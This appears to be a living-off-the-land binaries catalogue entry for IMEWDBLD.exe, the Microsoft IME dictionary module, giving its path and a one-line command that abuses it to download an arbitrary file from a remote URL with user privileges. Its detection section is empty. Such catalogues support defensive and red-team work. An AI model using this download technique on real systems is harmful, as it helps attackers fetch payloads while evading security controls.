IMEWDBLD.exe

Microsoft IME Open Extended Dictionary Module

Paths

  • C:\Windows\System32\IME\SHARED\IMEWDBLD.exe

Commands

Download

IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

Use case: Download file from Internet

Privileges: User

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}

Detection

Resources